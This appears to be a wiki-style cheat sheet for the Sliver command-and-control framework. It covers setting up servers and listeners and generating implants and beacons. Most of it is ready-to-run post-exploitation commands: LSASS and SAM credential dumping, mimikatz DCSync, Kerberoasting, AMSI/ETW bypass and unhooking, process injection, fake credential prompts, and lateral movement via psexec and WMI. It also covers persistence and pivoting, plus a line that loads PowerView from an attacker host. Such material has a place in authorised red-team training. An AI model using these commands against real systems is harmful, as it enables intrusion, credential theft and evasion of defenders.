Sliver C2 Wiki

┌───────────────────┐   C2 Protocol   ┌─────────┐
│                   ├────────────────►│ Implant │
│ Sliver C2 Server  │                 └─────────┘
│                   │
└───────────────────┘
        ▲
        │ gRPC/mTLS (default port 31337)
        │
┌───────┴─────────┬──────────────┬───────────┐
│                 │              │           │
Windows Op.   Linux Op.      MacOS Op.   ...more operators

# Quick install script (Linux) — configures the server as a systemd service
curl https://sliver.sh/install | sudo bash

# Manual: grab the latest release binary
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
chmod +x sliver-server_linux

# Start the server (drops into the server console)
sudo ./sliver-server_linux

# Run as an unattended daemon instead
sudo ./sliver-server_linux daemon

# Or install it as a systemd unit directly
sudo ./sliver-server_linux install
systemctl enable sliver
systemctl start sliver
systemctl status sliver

# Check version
sliver-server version

# Server config / operator certs live under
~/.sliver/         # server-side state, certs, logs
~/.sliver-client/  # per-operator client config, including ~/.sliver-client/configs/

# Requires Go 1.21+, MinGW (for Windows DLL/shellcode cross-compile), and make
git clone https://github.com/BishopFox/sliver.git
cd sliver
make            # builds sliver-server and sliver-client for the current OS
make linux      # or cross-compile for a specific target
make windows
make macos

# On the server console: generate a new operator config
# Requires --name and --lhost (the server's reachable address for that operator)
[server] sliver > new-operator --name zoro --lhost 203.0.113.10

# Then enable the multiplayer listener so operators can actually connect
[server] sliver > multiplayer

# Operator side: import the config, then launch the client
./sliver-client import zoro_203.0.113.10.cfg
./sliver-client
# ? Select a server: [Use arrows to move, type to filter]
# > example.com
#   localhost

./sliver-server operator --name zer0cool --lhost 203.0.113.10 --save zer0cool.cfg

# List builders connected in multiplayer mode (for offloading implant compilation)
sliver > builders

# List active listener jobs
sliver > jobs

# Kill a listener by job ID
sliver > jobs -k 3

# Default port 8888
sliver > mtls

# Custom port / bind interface
sliver > mtls -l 443
sliver > mtls -l 0.0.0.0:8888

# HTTPS with your own cert/key pair
sliver > https --domain example.com --cert ./cert.pem --key ./key.pem

# HTTPS with Let's Encrypt/ACME (server needs a public listener + DNS pointed at it)
sliver > https --domain example.com --lets-encrypt

# Plain HTTP (lab/testing only) — no parameters binds port 80, any Host header
sliver > http

# Restrict to a specific domain
sliver > http --domain example.com

sliver > websites --website fake-blog --web-path / --content ./index.html add

sliver > dns --domain example.com

# Custom listening port for the DNS server itself
sliver > dns --domain example.com -l 53

sliver > wg -l 53

# Custom key-exchange port
sliver > wg -l 53 -x 1234

# Generate a session implant (no "beacon" subcommand)
sliver > generate --mtls 192.168.1.100:8888 --os windows --arch amd64 --format exe

# Generate a beacon with a 60s check-in interval and 30% jitter
sliver > generate beacon --mtls 192.168.1.100:8888 --os windows --arch amd64 \
  --seconds 60 --jitter 30 --format exe

# From within a beacon context
sliver (BEACON_NAME) > interactive

generate [beacon] [flags]

# Create a profile
sliver > profiles new --mtls 192.168.1.100 --os windows --format exe stealth-profile

# Beacon-mode profile with timing baked in
sliver > profiles new beacon --mtls 192.168.1.100 --os windows --format exe \
  --seconds 3600 --jitter 30 stealth-beacon-profile

# Generate from a saved profile
sliver > generate --profile stealth-profile

# List / remove profiles
sliver > profiles
sliver > profiles rm stealth-profile

# Start a stage listener (delivers the stager payload only)
sliver > stage-listener -u tcp://192.168.5.25:8999 -p my-profile-name

# Or generate a raw stager payload directly
sliver > generate stager --http 192.168.5.25:8999 --os windows --arch amd64

# List active sessions / beacons
sliver > sessions
sliver > beacons

# Interact with a specific session or beacon (tab-completes; partial IDs work)
sliver > use <session-or-beacon-id>
sliver > sessions -i <session-id>

# Background the current interactive context
sliver (IMPLANT) > background

# Kill a session/beacon, or prune all dead sessions
sliver > sessions -k <session-id>
sliver > sessions prune
sliver > beacons -k <beacon-id>

# Rename the current implant
sliver (IMPLANT) > rename --name DC01

# Reconfigure a beacon's timing without rebuilding/redeploying
sliver (BEACON) > reconfig --interval 60s --jitter 20

# Show/fetch queued and completed beacon tasks
sliver (BEACON) > tasks
sliver (BEACON) > tasks fetch <task-id>

# Recon
info        # OS, hostname, user, PID, arch, locale — good first command
whoami
getuid      # Windows SID
getgid
getpid
ps
netstat
ifconfig
getprivs
getenv

# Filesystem
ls
cd
cat
download <remote> <local>
upload <local> <remote>

# Process manipulation
migrate <pid>
execute -o <cmd>
execute-assembly <path.to.exe>
execute-shellcode -p <pid> <shellcode.bin>

# Privilege / identity
getsystem           # attempt SYSTEM token elevation (Windows)
runas -u <user> -p <pass> <command>
make-token -u <user> -p <pass> -d <domain>
impersonate <token-id>
rev2self

# Start a SOCKS5 proxy on a session (listens locally on your operator box)
sliver (SESSION) > socks5 start --host 127.0.0.1 --port 1080

# List active proxies
sliver (SESSION) > socks5

# Stop a proxy
sliver (SESSION) > socks5 stop --id 1

# /etc/proxychains4.conf
socks5 127.0.0.1 1080

# Route your usual tooling through it
proxychains nmap -sT -Pn -p 445,3389,22 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.10 -u admin -p 'pass'
proxychains impacket-psexec CORP/admin:'pass'@192.168.1.10
proxychains evil-winrm -i 192.168.1.10 -u admin -p 'pass'

# Local 127.0.0.1:3389 -> internal 192.168.1.10:3389 via the implant
sliver (SESSION) > portfwd add --lport 3389 --rhost 192.168.1.10 --rport 3389

# List active forwards
sliver (SESSION) > portfwd

# Remove one
sliver (SESSION) > portfwd rm --id 1

# Now connect locally as if it were direct
xfreerdp /u:admin /p:pass /v:127.0.0.1:3389

# On the implant that HAS a route out, open a TCP pivot listener
sliver (HOP1_SESSION) > pivots tcp
# [*] Started tcp pivot listener :9898 with id 1

# Or bind to a specific address/port
sliver (HOP1_SESSION) > pivots tcp --bind 0.0.0.0:9999

# Generate a new implant that connects back through that pivot
sliver > generate --tcp-pivot 192.168.1.90:9898 --os windows --arch amd64

# List active pivots on the current session
sliver (HOP1_SESSION) > pivots

# Stop a pivot listener
sliver (HOP1_SESSION) > pivots --id <id> stop

# Start a named pipe pivot listener on the current session
sliver (SESSION) > pivots named-pipe --bind foobar
# [*] Started named pipe pivot listener \\.\pipe\foobar with id 1

# Generate an implant pointed at it — "." resolves to 127.0.0.1
sliver > generate --named-pipe ./pipe/foobar --os windows --arch amd64

sliver (SESSION) > pivots named-pipe --bind foobar --allow-all
sliver (SESSION) > pivots named-pipe --bind foobar --allow-user "SRV1$"

# Forward a remote port through the WireGuard tunnel
sliver (WG_SESSION) > wg-portfwd add --remote 10.0.1.10:3389

# Search available packages
sliver > armory search <keyword>

# Install a package (or everything at once)
sliver > armory install <package-name>
sliver > armory install all

# Update the local armory index
sliver > armory update

# List installed extensions and aliases
sliver > extensions
sliver > aliases

                    ┌─────────────────────────────────┐
                    │         Sliver Implant           │
                    │                                  │
  armory install ──►│  COFF Loader (DLL extension)     │
                    │       └──► BOF (.o file)         │
                    │                                  │
                    │  DLL Extension (reflective load) │
                    │                                  │
                    │  Alias (ExecuteAssembly /        │
                    │         SpawnDll / Sideload)     │
                    └─────────────────────────────────┘

sliver > armory install coff-loader

sliver > armory install windows-credentials   # nanodump, credman, chromiumkeydump, handlekatz, mimikatz, go-cookie-monster
sliver > armory install kerberos              # bof-roast, delegationbof, c2tc-kerberoast, tgtdelegation, kerbrute, nanorobeus
sliver > armory install windows-pivot         # scshell, bof-servicemove, winrm, jump-wmiexec, jump-psexec
sliver > armory install windows-bypass        # inject-etw-bypass, inject-amsi-bypass, unhook-bof, patchit
sliver > armory install windows-inject        # hollow, secinject, syscalls_shinject, threadless-inject, inject-tooltip, inject-kernelcallbacktable, inject-uxsubclassinfo, inject-ntcreatethread, inject-ntqueueapcthread, inject-setthreadcontext, inject-createremotethread, inject-dde, inject-conhost, inject-svcctrl, inject-ctray, inject-clipboard
sliver > armory install situational-awareness # all sa-* BOFs
sliver > armory install .net-recon            # seatbelt, sharpview, sharpmapexec, sharp-hound-3, sharp-hound-4, nps, sharpup, sharpsh, sharpsccm
sliver > armory install .net-pivot            # krbrelayup, rubeus, certify, sharpsecdump, sharpchrome, sharpdpapi, sqlrecon, sharplaps, mlokit

# nanodump — fileless LSASS dump (returned over C2, no disk write)
sliver (SESSION) > nanodump 0 lsass.dmp 0 PMDM
# nanodump — write to disk, use SecLogon technique
sliver (SESSION) > nanodump 0 C:\Windows\Temp\1.dmp 1 PMDM

# credman — dump credential manager for PID 1234
sliver (SESSION) > credman 1234

# hashdump — local SAM hashes (needs SYSTEM)
sliver (SESSION) > hashdump

# mimikatz — run logonpasswords
sliver (SESSION) > mimikatz -- sekurlsa::logonpasswords

# mimikatz — DCSync for krbtgt
sliver (SESSION) > mimikatz -- "lsadump::dcsync /user:krbtgt"

# Kerberoast — dump all SPNs
sliver (SESSION) > bof-roast

# Kerberoast a specific SPN
sliver (SESSION) > bof-roast HTTP/webserver.corp.local

# Enumerate delegation
sliver (SESSION) > delegationbof 6 dc.corp.local  # 6 = s4u2proxy (constrained)

# nanorobeus — list Kerberos tickets
sliver (SESSION) > nanorobeus luid
sliver (SESSION) > nanorobeus klist

# nanorobeus — pass-the-ticket
sliver (SESSION) > nanorobeus ptt /ticket:<base64-kirbi>

# nanorobeus — kerberoast specific SPN
sliver (SESSION) > nanorobeus kerberoast /spn:HTTP/server.corp.local

# Kerbrute — username enum
sliver (SESSION) > kerbrute userenum users.txt corp.local

# ADCS enumeration — first step before Certify
sliver (SESSION) > sa-adcs-enum
sliver (SESSION) > sa-adcs-enum-com

# Find who's logged into target host
sliver (SESSION) > sa-netloggedon DC01.corp.local
sliver (SESSION) > sa-get-netsession DC01.corp.local

# Password policy — know before spraying
sliver (SESSION) > sa-get-password-policy

# Custom LDAP query
sliver (SESSION) > sa-ldapsearch "(objectClass=computer)" dc.corp.local

# Find EDR driver stack
sliver (SESSION) > sa-enum-filter-driver

# Firewall rules
sliver (SESSION) > sa-list_firewall_rules

# Volume shadow copies (credential access path)
sliver (SESSION) > sa-vssenum

# Unhook ntdll in the current implant process
sliver (SESSION) > unhook-bof

# Patch AMSI and ETW in PID 1234
sliver (SESSION) > patchit patch 1234

# Check ETW bypass status in a remote process
sliver (SESSION) > inject-etw-bypass <pid>

# Check LDAP signing before relay
sliver (SESSION) > ldapsigncheck

# EarlyBird hollowing — spawn notepad, inject shellcode
sliver (SESSION) > hollow C:\Windows\System32\notepad.exe ./shellcode.bin

# Section mapping injection
sliver (SESSION) > secinject <pid> ./shellcode.bin

# Syscall-based shellcode inject (bypasses user-mode hooks)
sliver (SESSION) > syscalls_shinject <pid> ./shellcode.bin

# Threadless injection (no new thread created)
sliver (SESSION) > threadless-inject <pid> <dll-path> <export-function>

# In-process .NET assembly execution (no fork-and-run)
sliver (SESSION) > inline-execute-assembly /path/to/Rubeus.exe "kerberoast /format:hashcat"

# Dump SAM/SYSTEM/SECURITY hives on a remote host
sliver (SESSION) > remote-reg-save SAM DC01.corp.local C:\Windows\Temp\SAM

# Create a service on a remote host for lateral movement
sliver (SESSION) > remote-sc-create DC01.corp.local UpdateSvc C:\Windows\Temp\implant.exe

# Add current user to Administrators on a remote host
sliver (SESSION) > remote-addusertogroup DC01.corp.local Administrators corp\redteam

# Change a user's password remotely
sliver (SESSION) > remote-setuserpass DC01.corp.local victim NewPass123!

# Create a scheduled task on remote host for persistence
sliver (SESSION) > remote-schtaskscreate DC01.corp.local "Windows Update" C:\Windows\Temp\implant.exe

# Fake credential prompt
sliver (SESSION) > c2tc-askcreds "Windows Security" "Your session has expired. Please re-enter your credentials."

# Dump LAPS passwords (requires read access to ms-Mcs-AdmPwd)
sliver (SESSION) > c2tc-lapsdump

# PetitPotam coercion — force DC to auth to attacker
sliver (SESSION) > c2tc-petitpotam DC01.corp.local attacker.corp.local

# Add machine account (for RBCD attack setup)
sliver (SESSION) > c2tc-addmachineaccount FakePC$ Password123!

# Start WebClient for WebDAV coercion
sliver (SESSION) > c2tc-startwebclient

# Kerberoast all SPNs
sliver (SESSION) > c2tc-kerberoast

# Check Defender status before toggling
sliver (SESSION) > c2tc-wdtoggle

# PsExec lateral movement
sliver (SESSION) > jump-psexec DC01.corp.local /path/to/payload.exe

# WMI lateral movement
sliver (SESSION) > jump-wmiexec DC01.corp.local "cmd /c C:\Windows\Temp\payload.exe"

# SCShell lateral movement using existing service
sliver (SESSION) > scshell DC01.corp.local "SensorDataService" C:\Windows\Temp\payload.exe

# PortBender — redirect 445 to 8445 for NTLM relay
sliver (SESSION) > portbender redirect 445 8445
sliver (SESSION) > portbender list
sliver (SESSION) > portbender stop 0

# Rubeus — Kerberoast all SPNs
sliver (SESSION) > rubeus kerberoast /format:hashcat /nowrap

# Rubeus — AS-REP roast
sliver (SESSION) > rubeus asreproast /format:hashcat /nowrap

# Rubeus — dump all tickets
sliver (SESSION) > rubeus dump /all

# Rubeus — pass-the-ticket
sliver (SESSION) > rubeus ptt /ticket:<base64>

# Seatbelt — full host survey
sliver (SESSION) > seatbelt -group=all

# Seatbelt — specific checks
sliver (SESSION) > seatbelt CredEnum WindowsCredentialFiles

# Certify — find vulnerable templates
sliver (SESSION) > certify find /vulnerable

# Certify — request cert for another user (ESC1)
sliver (SESSION) > certify request /ca:DC01\Corp-CA /template:VulnTemplate /altname:Administrator

# KrbRelayUp — local privesc via RBCD
sliver (SESSION) > krbrelayup full -Domain corp.local -DomainController dc.corp.local

# SharpHound — collect AD data
sliver (SESSION) > sharp-hound-4 -c All --zipfilename bh.zip

# NoPowerShell — run Get-ADUser without powershell.exe
sliver (SESSION) > nps Get-ADUser -Filter * -Properties *

# SharpView — AD recon without PS
sliver (SESSION) > sharpview Get-DomainUser -Identity Administrator
sliver (SESSION) > sharpview Find-InterestingDomainAcl

# sharpsh — load PowerView in-process
sliver (SESSION) > sharpsh -- '-u http://attacker.local/PowerView.ps1 -e -c <base64-cmd>'

# SharpRDP — execute command via RDP
sliver (SESSION) > sharprdp computername=DC01 command="cmd /c whoami" username=admin password=pass

# SharpSCCM — find NAA credentials
sliver (SESSION) > sharpsccm local naa

# SQLRecon — enumerate MSSQL via AD
sliver (SESSION) > sqlrecon /enum /ldap:corp.local

# SQLRecon — enable xp_cmdshell and run command
sliver (SESSION) > sqlrecon /a:mssql /h:sql01.corp.local /m:EnableXp
sliver (SESSION) > sqlrecon /a:mssql /h:sql01.corp.local /m:OsCmd /c:whoami

windows-credentials:  nanodump credman chromiumkeydump handlekatz mimikatz go-cookie-monster
kerberos:             bof-roast delegationbof c2tc-kerberoast tgtdelegation kerbrute nanorobeus
windows-pivot:        scshell bof-servicemove winrm jump-wmiexec jump-psexec
windows-bypass:       inject-etw-bypass inject-amsi-bypass unhook-bof patchit
windows-inject:       hollow secinject syscalls_shinject threadless-inject inject-tooltip
                      inject-kernelcallbacktable inject-uxsubclassinfo inject-ntcreatethread
                      inject-ntqueueapcthread inject-setthreadcontext inject-createremotethread
                      inject-dde inject-conhost inject-svcctrl inject-ctray inject-clipboard
situational-awareness: all sa-* BOFs (30+ recon primitives)
.net-recon:           seatbelt sharpview sharpmapexec sharp-hound-3 sharp-hound-4 nps sharpup sharpsh sharpsccm
.net-pivot:           krbrelayup rubeus certify sharpsecdump sharpchrome sharpdpapi sqlrecon sharplaps mlokit

# Load a local extension from a directory
sliver > extensions load /path/to/my-extension/

# The extension.json manifest structure:
{
  "name": "my-bof",
  "command_name": "my-bof",
  "version": "1.0.0",
  "extension_author": "you",
  "original_author": "original",
  "repo_url": "https://github.com/...",
  "help": "What this BOF does",
  "depends_on": "coff-loader",      # required for BOFs
  "entrypoint": "go",               # BOF entrypoint function name
  "files": [
    { "os": "windows", "arch": "amd64", "path": "my-bof.x64.o" },
    { "os": "windows", "arch": "386",   "path": "my-bof.x86.o" }
  ],
  "arguments": [
    { "name": "pid", "desc": "Target PID", "type": "int", "optional": false }
  ]
}

# (Conceptual workflow — encoders are compiled to .wasm and dropped into
# the server's traffic-encoders directory, then referenced at generate time)

# Vary transport protocols rather than relying on one throughout an engagement
generate --http example.com --os windows        # one implant
generate --dns example.com --os windows          # a different one, different protocol

# Skip Sliver's default binary strings / symbols
generate --mtls 192.168.1.100:8888 --os windows --skip-symbols

# Enable built-in evasion: PPID spoofing, DLL reload from disk to strip hooks, sleep obfuscation
generate --mtls 192.168.1.100:8888 --os windows --evasion

# Add a file/credential/screenshot to the loot store
sliver (SESSION) > loot add <name> <path>

# List collected loot
sliver > loot

# Fetch a specific loot entry
sliver > loot fetch <loot-id>

# Install service-based persistence
sliver (SESSION) > persistence service --name UpdaterSvc --path C:\Windows\Temp\implant.exe

# Install registry Run-key persistence
sliver (SESSION) > persistence registry --hive HKCU \
  --path "Software\Microsoft\Windows\CurrentVersion\Run" --key "Updater"

# Hijack a legitimate binary on the target for persistence (Windows)
sliver (SESSION) > backdoor <path-to-target-exe>

# Remove a persistence mechanism you installed
sliver (SESSION) > persistence remove --id <persistence-id>

# 1. Stand up a listener
sliver > mtls -l 8888

# 2. Generate a beacon (quiet initial foothold)
sliver > generate beacon --mtls 203.0.113.10:8888 --os windows --arch amd64 \
  --seconds 60 --jitter 30 --save foothold.exe

# 3. Deliver + execute on target (delivery method is engagement-specific)

# 4. Once it checks in, task it to go interactive for hands-on-keyboard work
sliver (BEACON_NAME) > interactive
# (takes effect on the beacon's next check-in, not instantly)

# 1. From a session that HAS internet egress, open a pivot listener
sliver (HOP1) > pivots tcp --bind 0.0.0.0:9999

# 2. Generate a new implant pointed at the pivot listener's INTERNAL address
sliver > generate --tcp-pivot 192.168.1.90:9999 --os windows --arch amd64 --save pivot2.exe

# 3. Deliver pivot2.exe to a host in the segmented subnet and execute it
#    It phones home through HOP1 rather than directly to the internet

# 4. Confirm the chain
sliver > sessions
# transport column shows: pivot   192.168.1.178:59290->HOP1_NAME->

# 1. Start SOCKS5 on a compromised session
sliver (SESSION) > socks5 start --host 127.0.0.1 --port 1080

# 2. Point proxychains at it
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# 3. Route your usual toolkit through the compromised host
proxychains crackmapexec smb 192.168.1.0/24
proxychains impacket-secretsdump CORP/admin:'pass'@192.168.1.10

# 1. Open a pivot listener on the current session
sliver (SESSION) > pivots tcp --bind 192.168.1.90

# 2. Generate a service-format executable pointed at that pivot listener
sliver > generate --tcp-pivot 192.168.1.90:9898 --format service --skip-symbols -N updater-svc

# 3. Use PsExec-style execution to install and start it on the next hop
sliver (SESSION) > psexec --custom-exe /root/payloads/updater-svc.exe \
  --service-name WindowsUpdate --service-description "Windows Update Service" target.domain.local

# 4. A new SYSTEM-level session should check in from the target

# Server
sudo ./sliver-server_linux            # single-player, drops into console
sudo ./sliver-server_linux daemon     # unattended background mode
sudo ./sliver-server_linux install    # install as systemd service

# Listeners
mtls -l 8888
https --domain example.com --lets-encrypt
http --domain example.com
dns --domain example.com
wg -l 53

# Manage
jobs
jobs -k <job-id>

new-operator --name <name> --lhost <server-ip>   # server console only
multiplayer                                       # start the multiplayer listener
./sliver-server operator --name <name> --lhost <ip> --save <name>.cfg   # daemon mode
./sliver-client import <name>.cfg
builders                                          # list connected external builders

# Session
generate --mtls IP:PORT --os windows --arch amd64 --format exe --save out.exe

# Beacon
generate beacon --mtls IP:PORT --os windows --arch amd64 \
  --seconds 60 --jitter 30 --save out.exe

# Other platforms
generate --mtls IP:PORT --os linux --arch amd64 --format elf
generate --mtls IP:PORT --os darwin --arch arm64 --format macho

# Via saved profile
profiles new --mtls IP --os windows --format exe myprofile
generate --profile myprofile

# Troubleshooting a silent implant
generate --mtls IP:PORT --os windows --debug

sessions
beacons
use <id>
sessions -i <id>
sessions prune
background
sessions -k <id>
interactive              # task a beacon to promote to a session (next check-in)
reconfig --interval 60s --jitter 20
tasks
tasks fetch <task-id>

info
whoami
ps
netstat
getprivs
getsystem
runas -u <user> -p <pass> <cmd>
make-token -u <user> -p <pass> -d <domain>
impersonate <token-id>
rev2self
execute-assembly <path>
execute-shellcode -p <pid> <shellcode.bin>
migrate <pid>

# SOCKS5 (session only)
socks5 start --host 127.0.0.1 --port 1080
socks5
socks5 stop --id 1

# Port forward (session only)
portfwd add --lport 3389 --rhost 192.168.1.10 --rport 3389
portfwd
portfwd rm --id 1

# TCP pivot chain (session only)
pivots tcp --bind 0.0.0.0:9999
pivots
pivots --id <id> stop
generate --tcp-pivot IP:PORT --os windows

# Named pipe pivot (Windows-only, session only)
pivots named-pipe --bind foobar --allow-all
generate --named-pipe ./pipe/foobar --os windows

# WireGuard tunnel
wg-portfwd add --remote 10.0.1.10:3389

# Discovery & install
armory search <keyword>
armory install <package-name>
armory install all
armory install windows-credentials    # cred-dumping bundle
armory install kerberos               # kerberos attack bundle
armory install windows-pivot          # lateral movement bundle
armory install windows-bypass         # evasion bundle
armory install windows-inject         # process injection bundle
armory install situational-awareness  # all recon BOFs
armory install .net-recon             # .NET recon aliases
armory install .net-pivot             # .NET pivot/attack aliases
armory update

# Extension management
extensions                   # list installed extensions
aliases                      # list installed aliases
extensions load /path/to/   # load local extension from manifest

# Core BOF infrastructure
armory install coff-loader  # required for all BOFs (auto-installed with BOF packages)

# Credential Access
nanodump 0 lsass.dmp 0 PMDM          # LSASS minidump (fileless)
credman <pid>                          # Credential Manager dump
hashdump                               # SAM hashes (needs SYSTEM)
mimikatz -- sekurlsa::logonpasswords   # in-process Mimikatz
mimikatz -- "lsadump::dcsync /user:krbtgt"

# Kerberos
bof-roast                             # Kerberoast all SPNs
nanorobeus klist                       # list tickets (BOF)
nanorobeus dump /all                   # dump all tickets
nanorobeus ptt /ticket:<b64>           # pass-the-ticket
rubeus kerberoast /format:hashcat /nowrap
rubeus asreproast /format:hashcat /nowrap
delegationbof 6 dc.corp.local         # enumerate delegation
tgtdelegation                          # coerce TGT via unconstrained deleg

# Situational Awareness (sa-*)
sa-whoami                 # whoami /all in-process
sa-adcs-enum              # enumerate ADCS templates
sa-ldapsearch "(objectClass=user)" dc.corp.local
sa-get-netsession DC01    # who's connected to DC01
sa-netloggedon DC01       # who's logged in to DC01
sa-list_firewall_rules    # firewall rules
sa-enum-filter-driver     # EDR kernel stack
sa-reg-query HKLM\Software\<key>

# Bypass & Evasion
unhook-bof                            # remove ntdll hooks from implant
patchit patch <pid>                   # patch AMSI + ETW
inject-etw-bypass <pid>               # ETW bypass in remote process
inject-amsi-bypass <pid>              # AMSI bypass in remote process
ldapsigncheck                          # check LDAP signing enforcement

# Process Injection
hollow C:\Windows\System32\notepad.exe ./shellcode.bin
secinject <pid> ./shellcode.bin
syscalls_shinject <pid> ./shellcode.bin
threadless-inject <pid> <dll> <export>
inline-execute-assembly /path/Rubeus.exe "dump /all"

# Remote Operations
remote-sc-create DC01 UpdateSvc C:\Windows\Temp\implant.exe
remote-reg-save SAM DC01 C:\Windows\Temp\SAM
remote-addusertogroup DC01 Administrators corp\redteam
remote-schtaskscreate DC01 "Windows Update" C:\Temp\implant.exe

# C2 Tool Collection
c2tc-askcreds "Windows Security" "Re-enter your password"
c2tc-lapsdump
c2tc-petitpotam DC01 attacker.local
c2tc-addmachineaccount FakePC$ Password123!
c2tc-startwebclient
c2tc-spray-ad Password123! corp.local

# Lateral Movement BOFs
jump-psexec DC01 /path/to/payload.exe
jump-wmiexec DC01 "cmd /c whoami"
scshell DC01 SensorDataService C:\Temp\payload.exe
portbender redirect 445 8445

# .NET Aliases
seatbelt -group=all
seatbelt CredEnum WindowsCredentialFiles
certify find /vulnerable
certify request /ca:DC01\Corp-CA /template:VulnTemplate /altname:Administrator
krbrelayup full -Domain corp.local -DomainController dc.corp.local
sharp-hound-4 -c All --zipfilename bh.zip
sharpview Get-DomainUser -Identity Administrator
sharpview Find-InterestingDomainAcl
nps Get-ADUser -Filter *
sharprdp computername=DC01 command="cmd /c whoami" username=admin password=pass
sharpsccm local naa
sqlrecon /enum /ldap:corp.local
<bof-alias> [args]

persistence service --name Svc --path C:\path\implant.exe
persistence registry --hive HKCU --path "Software\...\Run" --key Name
backdoor <path-to-target-exe>
persistence remove --id <id>

loot add <name> <path>
loot
loot fetch <loot-id>

# Full internal recon pass through SOCKS5
proxychains nmap -sT -Pn -p 21,22,80,135,139,389,443,445,1433,3389 192.168.1.0/24

# Credential dump through the tunnel
proxychains impacket-secretsdump DOMAIN/user:pass@192.168.1.10 -just-dc

# Quiet long-haul beacon, aggressive jitter, non-default port
generate beacon --https example.com --os windows --arch amd64 \
  --seconds 300 --jitter 40 --skip-symbols --evasion --save longhaul.exe